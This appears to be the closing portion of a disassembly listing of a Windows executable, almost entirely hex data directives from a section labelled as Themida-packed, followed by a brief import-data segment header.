dd 26837177h, 6D44855h, 38037440h, 7DA00FD8h, 0C5DCCD6Dh
dd 69BA58D8h, 2E4D693Ah, 6AA34099h, 0EBF69491h, 2A956D85h
dd 13C63C63h, 44397832h, 99E21BE6h, 0D213C706h, 4D6764FDh
dd 33531F40h, 4B6D8CC7h, 19E523E5h, 3EA549EEh, 88CF3071h
dd 0AE1946DEh, 1689D80Bh, 0A9235D05h, 42DF3030h, 15D2F32h
dd 477B90F5h, 0DF7D713h, 7FC31FDCh, 4E1C642Dh, 0EA85B030h
dd 56B3B01h, 49D016E7h, 0EAB274C1h, 1113F8Dh, 46762ABDh
dd 0EE5E7067h, 1DBF336Bh, 421C2E13h, 0E3FF6C0Dh, 170528EAh
dd 0BB35EB2Eh, 92925040h, 0E286BC95h, 3A801503h, 79B59BA7h
dd 0D4144BBEh, 360E081Dh, 62E714FFh, 212D4ABBh, 0CC74217Bh
dd 8E2EF76Dh, 717CC447h, 0C5A271D1h, 0C1D4F32Ch, 21E153D3h
dd 1C38F38Ah, 7EE25CF1h, 52A5DDD3h, 109E0D08h, 22FC5097h
dd 31948D91h, 3A6540A4h, 0D3248514h, 0CA2698F2h, 14F110C1h
dd 44ECA546h, 0C95E37C5h, 0AA670F59h, 0EBF0EE38h, 0C26AA09Ah
dd 9388E3E7h, 6A1678C2h, 0BAC2909Ch, 1A0429B3h, 0CDA0B165h
dd 0DC029107h, 0F9710621h, 5454CBFEh, 0B64E9C5Dh, 0BA37943Fh
dd 0E6749E68h, 19927276h, 0F92B0D0Dh, 0F0508038h, 2731449Ah
dd 34432036h, 0A5DBDB6Dh, 8A40B677h, 8B22D431h, 585C981Ah
dd 90DE9770h, 51207AD7h, 2855DB44h, 554CF923h, 0C0563FF8h
dd 4A50605Fh, 1E310041h, 571EE0E7h, 46C024EEh, 2751DB81h
dd 0EE8CFB35h, 0B119EF00h, 967E5AB5h, 9F20C06Fh, 3C12A458h
dd 0A41C83B6h, 63F11615h
dd 3ADE2804h, 8ECA6459h, 5A1CB3CEh, 0E628997h, 61DA6049h
dd 0EFEAD25Ch, 0C1B1FF5Bh, 86166A1Dh, 0AEF8B006h, 24F3B4EBh
dd 0B484B46Eh, 0D57A6CADh, 126CA585h, 0D5045447h, 22C51035h
dd 1ED579C2h, 78085021h, 0CC9FA4F9h, 87C6306Fh, 76987451h
dd 77190BF9h, 1E44B499h, 727D48DBh, 43C13745h, 1A2EC8D4h
dd 6EFA4401h, 0C134E99Fh, 0E1411330h, 5C98B32Ah, 0BE869491h
dd 0A26F9D73h, 8BC336EDh, 1028A60Fh, 8BFDA9F2h, 62DA0008h
dd 0B6CE84DDh, 0B2D6F1CAh, 0FB98D422h, 0B242B06Eh, 0C6657703h
dd 3C2DDBEDh, 0A402AD91h, 34C435AEh, 553AECEDh, 922D25C5h
dd 55C4D487h, 6A77AD64h, 0B6667C43h, 422ED057h, 4D5EE4B8h
dd 0A804BC9Bh, 0C0D62158h, 457B46DFh, 0A643F177h, 1A3FC895h
dd 0B989E017h, 0A2ABF590h, 0EE3AC47Fh, 4C68582Bh, 13FC3CBDh
dd 0EAD6F804h, 0C2BAFC7Bh, 1753974Ch, 0E6B08466h, 3A683077h
dd 8C3FE2E9h, 0ADA1BC3Fh, 0DDAB86E3h, 3F056C7h, 0E892B46Ch
dd 0B21F6EC3h, 81E35959h, 95F8B037h, 0C6F04496h, 7DC3A40Dh
dd 0EEED29DAh, 6A000039h, 0C68454F1h, 0D0B199B5h, 8DC0D501h
dd 0FF824827h, 0CE5C9C94h, 884F189Bh, 89D26DD5h, 3D9810E0h
dd 28CA0784h, 725448E3h, 76B4E9C5h, 0F13D7A21h, 87A72B1h
dd 0C7A018C0h, 168EEB38h, 2ADF0FAFh, 45FA7CBBh, 9713170Ch
dd 66F00426h, 0BAA990B7h, 4E3AEFECh, 5A87BD71h, 5DE48C6Bh
dd 89888630h, 0B5B73EE1h, 0D4F4BE3Bh, 0ACD76C4Eh, 624BB530h
dd 0AE9A849Fh, 2D09D889h, 6EADA99Ah, 0AA408079h, 0E457D435h
dd 0D70EE8A3h, 0A6D04418h, 0C23A755Dh, 0AE6B248Fh, 0C4341E8Bh
dd 0F6DE67FCh, 0AE028B4h, 0A6DFF14Bh, 5BEC815h, 70CEEF80h
dd 92D870E7h, 88AAB1C9h, 48749B13h, 0A0468028h, 5ACBA66Fh
dd 8E4AFF50h, 7EA1627Bh, 4C068A2Dh, 0C5137D1Fh, 7D4F9326h
dd 0E2AC8E83h, 878E1C9Dh, 0EC55150Ah, 0D4AA37D9h, 40CE4E6h
dd 0B5BD3A25h, 67D11AC7h, 2EEC44E9h, 0BA4FDD3Ch, 0D69EAC9Bh
dd 35F500AFh, 658923C0h, 0CA4D1035h, 1ECA593Fh, 9EC85021h
dd 224FAEFAh, 44CCCEE3h, 76136516h, 409096DFh, 1ED77E40h
dd 14547E23h, 0C46E2CEEh, 2C201BA2h, 6912EE09h, 35236710h
dd 20861F48h, 6AA043AFh, 49A0E090h, 245C1BF6h, 66463C55h
dd 4D3EE533h, 3832179Ch, 62EC38FBh, 5ECBF9DEh, 0F54F1AF8h
dd 0A1685A49h, 41F17F7Ch, 656EA5Dh, 2E303047h, 4D3342Ah
dd 3A0F5DFCh, 56DE2CDBh, 8AB400CFh, 7B88D301h, 52B21078h
dd 0AB7C9CB4h, 0FA6CD8DEh, 76C1813Bh, 46CC782Dh, 0F22A4CFEh
dd 0E0B19074h, 7E4DCCA7h, 0CA7F6DA9h, 0ED101CB3h, 0A2ABF590h
dd 0EE1AC47Fh, 1168182Bh, 0AE0DE9FAh, 0EAE0C0D9h, 33B634D1h
dd 92A7AF44h, 0E3F2BC95h, 0D1C280C7h, 58DEFAAh, 0D41340B6h
dd 0BFCF271Dh, 0D2409CBEh, 0E63931EBh, 0C51E08F5h, 0B0AEAF20h
dd 9A78B087h, 48567069h, 88FF08F3h, 0E02647A8h, 4C0AEB0Fh
dd 7402AB49h, 0E4FC4376h, 0D10D9AB5h, 4CB0A312h, 0CE6AA779h
dd 0D53F8C5Ah, 4016BFB8h, 0CA10A01Fh, 0E9FF8021h, 72D44B24h
dd 76B3E8C5h, 0E9735A37h, 0EBF18B02h, 0C26AD87Bh, 5EB72466h
dd 9DE973D3h, 883A6794h, 92E4E8F3h, 0EBC849D5h, 8C907B32h
dd 4E826E99h, 116FC1FBh, 7B4A01A5h, 0A20C47Bh, 0EE1AD4E0h
dd 0B4172388h, 0C6E76483h, 0E2DE9BA1h, 16F20426h, 7CD88Bh
dd 0EF54A8Ch, 0DF8905E4h, 0CF9AB237h, 0E2AF4ED3h, 236BD636h
dd 0FAFEE9D7h, 7659A14Eh, 0A28C78ADh, 0F01BDC7Dh, 12A80B08h
dd 0CDB96DAAh, 0D9ECE30Bh, 5E7B97D5h, 9BD846A7h, 0D8853C5Ch
dd 0C9A519ABh, 1F7A48C9h, 0DC70AAD2h, 0C2FF9F51h, 0B9245E0Ch
dd 0D0394490h, 0C96DE7F7h, 0CECA52E1h, 96ACB8BBh, 9D56FB9Fh
dd 0DC7064BDh, 0EEEF3736h, 32343E03h, 87CFD82Ah, 0D710B007h
dd 65DA04E9h, 0C7F20A8Eh, 0F8AC9FE1h, 2ACC4CCBh, 4580C18Eh
dd 57CDA865h, 2610BC71h, 4650DB44h, 0BD157CFAh, 168F73F3h
dd 895BEF55h, 0EE052B60h, 4572C2C1h, 0FB580A60h, 0F076D4C0h
dd 125AF327h, 2EB6C180h, 0B15798DDh, 960D13E5h, 82A040AFh
dd 417D61EDh, 524055F8h, 8E103C63h, 45D76547h, 4E2E7192h
dd 286738CDh, 0BA848FD5h, 0E3332E94h, 3E1A3BA4h, 0BD748882h
dd 65786E1h, 728D3347h, 0AD1AB269h, 34C330BEh, 0BEE280EDh
dd 0AA6205C0h, 0B82FD4B1h, 0BA010397h, 0A5664A4Ah, 0D7A08051h
dd 0CDD5DBCCh, 944C5CA6h, 0FD9BCCFDh, 45DC67E4h, 9EB36F42h
dd 0CB9823A3h, 70363810h, 97DD7F67h, 0ED3AC448h, 7423F0AEh
dd 0AE7F0A0Dh, 6FEFE510h, 3EC2142Dh, 0B9A62838h, 0ED688D6h
dd 0C597E487h, 0CE6ED960h, 6723B80Dh, 360E0CF9h, 0CAD8E5FCh
dd 5BD1B4D7h, 3282372Bh, 0C1BD5C2Eh, 17FABF8Bh, 155A0469h
dd 133500Ch, 0D61EACE9h, 2902C08Ch, 0FBE140B6h, 0D2F2973Bh
dd 9359ACE7h, 7ABE10D3h, 0F5C83186h, 0A716F86Dh, 0C1AB43FDh
dd 2310A01Fh, 1EF2F49Dh, 0F7DBB7DFh, 0C6B69C51h, 158DCE27h
dd 6E7ACF0Ch, 0C31A136Bh, 460AAF66h, 95D43FC7h, 9ABFADEEh
dd 67E4DEB3h, 4E433FA2h, 0B9A8A6F7h, 38B50C1Ch, 32E9B17Bh
dd 3D4EBA1Dh, 42B5DB3Fh, 2C120261h, 0FE71B30Bh, 74D6EAA5h
dd 5AB80DAEh, 99E8F4A9h, 27CC763h, 0AA10A16Dh, 0A86B41C4h
dd 0C5329632h, 64447896h, 25EA09F5h, 0CB37C013h, 528E6036h
dd 619793FAh, 0B66649F2h, 0C1302069h, 0A80D9CF4h, 7092023h
dd 0EF97E3FAh, 1AD870E7h, 0A991CABCh, 79956AA7h, 147164CAh
dd 159F3F53h, 8CC71B18h, 19DB97CDh, 41879829h, 3AE83804h
dd 0F1359B26h, 0A82DFA50h, 368E6CB9h, 4A432E9Fh, 5976B8EAh
dd 47438C6h, 0AA93D525h, 57F88647h, 2EF2F350h, 6A395BCBh
dd 0B09E9A92h, 1CEA52Ah, 6A2057B7h, 1448EA78h, 0E1CE0773h
dd 7A080596h, 0CEEAA1F9h, 0DE8A71DBh, 216D12E2h, 0F17E3560h
dd 0F6B3F4B7h, 68D1477Ch, 96369C44h, 70309A73h, 206FBBF6h
dd 47DCAED7h, 9EB1B30Dh, 6AA041AAh, 41678979h, 1275008Ch
dd 3153C55h, 0D641D643h, 6D6FB77Ch, 16854A8Eh, 49CECDA4h
dd 3C8F5C0Ah, 0FC07CBA1h, 3B74BEB8h, 306918E0h, 5A21D847h
dd 0CB498429h, 6797B95Fh, 33B05BA2h, 0C3A8F3BDh, 97D084C1h
dd 37E841E5h, 0F1661912h, 5A03EBFh, 4E39CCC6h, 0C75F781Bh
dd 829DA9AFh, 1AB552B0h, 0F7C41DB3h, 97F3ADCFh, 969E4B85h
dd 72A78F8Fh, 0EE3AC45Bh, 235E7D78h, 0E68B076Eh, 9C89B2BFh
dd 59A778B8h, 7AF368D6h, 19795426h, 3A68089Fh, 0CD2F3759h
dd 8542D953h, 42614278h, 0DA890696h, 0B7A4DD93h, 57D36DAFh
dd 167E0BA5h, 8A874F6Fh, 2EDF893Dh, 0E83C6E70h, 0D774FC49h
dd 7095FF58h, 0F7E262CDh, 473B8CEFh, 2690C723h, 0C70590BDh
dd 0CE5C9AC1h, 0DD1CA80Bh, 40154C88h, 0CA11C81Fh, 74A6F405h
dd 0E72B1FE2h, 0C680A301h, 4D9C9AF3h, 51BED176h, 6DF985Dh
dd 0AA8B1359h, 95207610h, 88394684h, 9F27B7F3h, 50F88460h
dd 2F57C6B7h, 0EBCDF4Fh, 6D93C0F8h, 0B64E37D9h, 0C2B5693Fh
dd 3412021Eh, 270BDE03h, 6E0E0F7h, 0DEB7F042h, 0AE9A840Dh
dd 522C18A0h, 3C0E2F07h, 0AA40E84Eh, 1741431h, 643F9A86h
dd 591EFFF5h, 0FCCF54D8h, 0CB2324B9h, 0A2BA4757h, 0C9BE41F0h
dd 0DFDD2069h, 9E044B99h, 0F27E9A72h, 9863E355h, 19D846DCh
dd 6AB53B31h, 429C1D7Eh, 23816CE7h, 0EA56FFA3h, 59881AEh
dd 6AA76805h, 5882B3EAh
dd 0B3E810F2h, 0B8F5845Ch, 0E1658BBBh, 67DE5D5Eh, 75216415h
dd 0E86D78D4h, 84A1F743h, 3166A1Eh, 407CBFC7h, 1DDA04ECh
dd 6639D102h, 879E9A92h, 35E851DEh, 2E625B71h, 0E9BA3DACh
dd 0E6A3FC03h, 7F5BD418h, 4B63A4F9h, 22FAC733h, 6F9F47Eh
dd 811BA09Fh, 0EDF703B9h, 72547E5Bh, 0B3269C45h, 709DF321h
dd 5DFA7219h, 351D9B39h, 9F5F1B3Ch, 5C9FB42Ah, 967D2C91h
dd 59EFE873h, 0CC33F69h, 8928A627h, 0F9CBE7CBh, 0EB0DCF0Ah
dd 80F16058h, 0BDBF23BFh, 0BD6B32EAh, 0AA2705B6h, 12156B6Ah
dd 3171E044h, 7E19ACE8h, 75A3E28Ah, 22274284h, 0A6BA03D2h
dd 7542A6B0h, 100F14D8h, 0B6247F61h, 50094DAh, 8F09FDCEh
dd 9DECFD20h, 7D2DCCCBh, 79C0048Bh, 2630FB01h, 3194C8A3h
dd 4D9DD30Eh, 0A4E0CDEAh, 65C6C47Fh, 0EED52BF4h, 908C0D31h
dd 0E897BAD3h, 26834FDh, 0AE481CEFh, 0DA5BC8BBh, 0D9806577h
dd 0B34BEF90h, 0E269E07Eh, 65330769h, 85F032BCh, 212D8764h
dd 0FB7833Ch, 0C5D815F2h, 255E3488h, 7967FB96h, 8D720D08h
dd 29E1B7A9h, 69573DF0h, 0FAED66C2h, 2D3B57C3h, 72F5AC88h
dd 7F0C5FD8h, 0FD955B86h, 0DC611080h, 665BB3C2h, 35EC5AF7h
dd 0E0D31CFEh, 0F6DBB71Ch, 39496229h, 0C702294h, 867A4489h
dd 3DA36708h, 163EECA5h, 87A11D2Fh, 0BE34A793h, 12E7121Ah
dd 543958D5h, 8540253Ch, 87EEE4AFh, 5CED5E59h, 3341D610h
dd 0A30E3DCh, 5D2E6AAAh, 8975EEDDh, 83D999B5h, 5AB83314h
dd 0AE8CC75Eh, 0D7CD8ABh, 565DEAE8h, 0F603764Fh, 42A6DB33h
dd 0D9042810h, 6DB74B6h, 0F5687077h, 4EA98A3Dh, 82AC459Bh
dd 7261EC5Dh, 4A5023FCh, 9EFAFFCAh, 0E4F7C823h, 0B6E4F454h
dd 17DB8F18h, 0EE8C84E1h, 231FD6A8h, 0F7FD6CCDh, 7188C02Bh
dd 31BDEBAFh, 922712B1h, 0CAA33F15h, 3AE826B7h, 5C22652h
dd 2387A8F1h, 0F6BD08EEh, 42736594h, 5742FEE8h, 40BF8C6h
dd 8A5C5F25h, 0DBF8B0BFh, 613255E9h, 0B243A72Ch, 0E0A65D38h
dd 1AA0B18Fh, 485AA6C4h, 2C64C253h, 325EA4FCh, 85EF65FFh
dd 0C1382106h, 0C01F3A4Fh, 4E5DD98Ch, 2F7BA0A9h, 26817176h
dd 72544855h, 0E4429D45h, 22EB75D0h, 6EF9443Fh, 0CEA998EBh
dd 2E4D494Ch, 955F4099h, 0B4696F6Eh, 2A9765F2h, 66463C63h
dd 0BC409837h, 570AE419h, 62EC3E93h, 5126D4DDh, 804F1F59h
dd 68AADF24h, 98F00E83h, 660E48Eh, 62D3B5CFh, 4EF8841Fh
dd 3A0F5DFCh, 56D62CDBh, 0A3B580CFh, 0C64F6931h, 268528A5h
dd 55E38BB0h, 0FA48E66Fh, 3A222439h, 49B1F800h, 0F3EEFAC5h
dd 0F75090ABh, 9E844C2Dh, 7233BCA6h, 704EF138h, 42C7567h
dd 0D6C941BEh, 421C181Dh, 9F8AEC0Dh, 0D20B7D6Fh, 49C014E7h
dd 0A201EB3Ah, 0E6868AD5h, 0C59ABA9Fh, 73098CA6h, 93C447C4h
dd 0BD0E0C1Fh, 0BCCF8C62h, 2E4FB7E1h, 0DAB43EFCh, 7969A0FEh
dd 0D8293488h, 9BD10469h, 820A67A3h, 0D522F2A6h, 0D75CE8D1h
dd 0FCEDAB0Eh, 0D2C4AAE8h, 4682B634h, 0F1685097h, 0CD3CF687h
dd 584FEC21h, 85ABBB2Dh, 0CA109627h, 6BE2F401h, 4669C1F7h
dd 4BB6AA85h, 2CA1F012h, 4F7CF89h, 315CAE7Bh, 5687BBE9h
dd 0E7204025h, 881294A4h, 0A3411BF3h, 95C4DFD5h, 492D6713h
dd 0E8AD2A1h, 6D7C387Bh, 0B64E22D9h, 22431F3Fh, 0A1FC6FC9h
dd 966103FCh, 83D6EAA5h, 0C23C3F15h, 259A84A9h, 3443303Eh
dd 4614A76Dh, 0CA64CACEh, 0D5C2D431h, 50772059h, 0D4E5B5C6h
dd 9045EBC3h, 0C5AA12A9h, 949C1216h, 7D38BE7Dh, 0EFD30463h
dd 9E04642Bh, 98B34B23h, 46F61C05h, 9BD00A6Ch, 19B9CC83h
dd 0C717EF2Ch, 96485371h, 0D2934598h, 3E021467h, 90506833h
dd 9405A4E2h, 0B3D839FBh, 0B88A546Ch, 0CADF33BBh, 0B3793C9Ch
dd 8A46588Ch, 0DE52B421h, 2AC30A37h, 7A3DB474h, 31A14FF8h
dd 6A907E5h, 0D3B02AE0h, 893A5FFBh, 2A358DD6h, 0F7626248h
dd 0E4049CEEh, 79820F35h, 0E8395F49h, 0CFAA2374h, 0B7F6F8DBh
dd 7698744Ch, 18F9A6EAh, 0C46A2F9h, 9B04C105h, 39EC25ADh
dd 5093AAD8h, 7EB04705h, 0FA2F1D1Ch, 16BEECFBh, 2B2D50AFh
dd 3791E194h, 2424D8FEh, 0CC33F55h, 3928A627h, 0E0A8EBEh
dd 21C738FBh, 0E34905F5h, 0FDB0E0BFh, 68AE8424h, 0B2748983h
dd 0C151A865h, 0FA983804h, 2BED2489h, 2CAE0F8h, 0D6DE2CEDh
dd 429287BBh, 15D23EAh, 6209A3C9h, 45664A35h, 0D2035952h
dd 0C3A129D2h, 0A23A3837h, 0F505CE1Eh, 0BDF86B54h, 0A88A8744h
dd 0F294CBA3h, 0CD626885h, 0AC1844E2h, 0CEB7C749h, 411C2E6Bh
dd 0A0BE7088h, 61E8C1EFh, 0BB49049Bh, 9292575Fh, 958EF6ACh
dd 32229974h, 0D5A2658h, 692CE058h, 31F898h, 0A3F008FFh
dd 9CD3B4E1h, 71B551CBh, 7703D6F5h, 2D7886BFh, 1862F7ECh
dd 823C584Bh, 0D518D83Dh, 1C106A82h, 89E2E2F1h, 0E4FC5B56h
dd 24A6FCB5h, 849C2597h, 3DEF53BFh, 224CCE63h, 32E483Dh
dd 38A52A19h, 0E9F2C239h, 44ECBB66h, 0C6F69CC5h, 909385A7h
dd 0C4B8468Eh, 35BE4E69h, 11B4E5A6h, 688A821Dh, 8DF576C7h
dd 306F8C21h, 3EC4B3B1h, 85642D34h, 18AE4AFh, 9D9687FFh
dd 5EFB73A2h, 0F530D600h, 682E16B4h, 56417703h, 0F9D6EADAh
dd 6C83A652h, 7E1709A9h, 8F7CEEB4h, 6061F4F8h, 0C012D14Fh
dd 32972B31h, 0AD041E2Ch, 90DA6A60h, 367D2FD7h, 0B1AA1286h
dd 94B7EE0Eh, 4EDB417Dh, 0B5501661h, 0A80DBCF4h, 67EB9E23h
dd 46C02017h, 0A514D564h, 2DBAC4FFh, 429C1843h, 9714318Dh
dd 0DD9E2DEEh, 0CE1A1467h, 12A1A93Ch, 63068A00h, 0F26BD337h
dd 4FC59426h, 0D4B9383Eh, 26B3CF9Dh, 0FF704A7Fh, 0A2D3D27Dh
dd 43580467h, 6E764F50h, 25074FC3h, 9B32019Ch, 6A43A731h
dd 2961537Fh, 77F2EEEh, 6C560209h, 0D2448DEBh, 83CE9C35h
dd 0FF7AFE8h, 0EAAE2FC0h, 9A7975EBh, 0FDAE7A83h, 4BF6A8CFh
dd 6D70F2BBh, 723C1E46h, 4D366345h, 48189AE3h, 0C6FBB59h
dd 41DCAED7h, 283FE409h, 369F7FF3h, 780197E4h, 0E8060077h
dd 19AEC3AAh, 0DBD76FC8h, 0E7E5CDAh, 0D30738FBh, 0B6CEA365h
dd 0AAD08BFh, 7E5034A1h, 0B2443083h, 16BEDC65h, 98383047h
dd 2BA2840Dh, 0EAFCD80Ah, 56DE2CEEh, 27C0AC0Dh, 33AEF0E5h
dd 527CABBDh, 4E066509h, 0FA48D057h, 7E0E70B2h, 2316F346h
dd 0C0D61910h, 0ABA8C8DFh, 5CD38B3Eh, 0F595C8A7h, 40741986h
dd 89CCF7BAh, 15FF0CD4h, 40908Ch, 498Dh, 1CDh dup(0)
dd 0DD000000h, 29h, 0F27h dup(0)
dword_622D20 dd 4B8h dup(0) Themida_ ends
; Section 5. (virtual address 00224000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00224000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 624000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start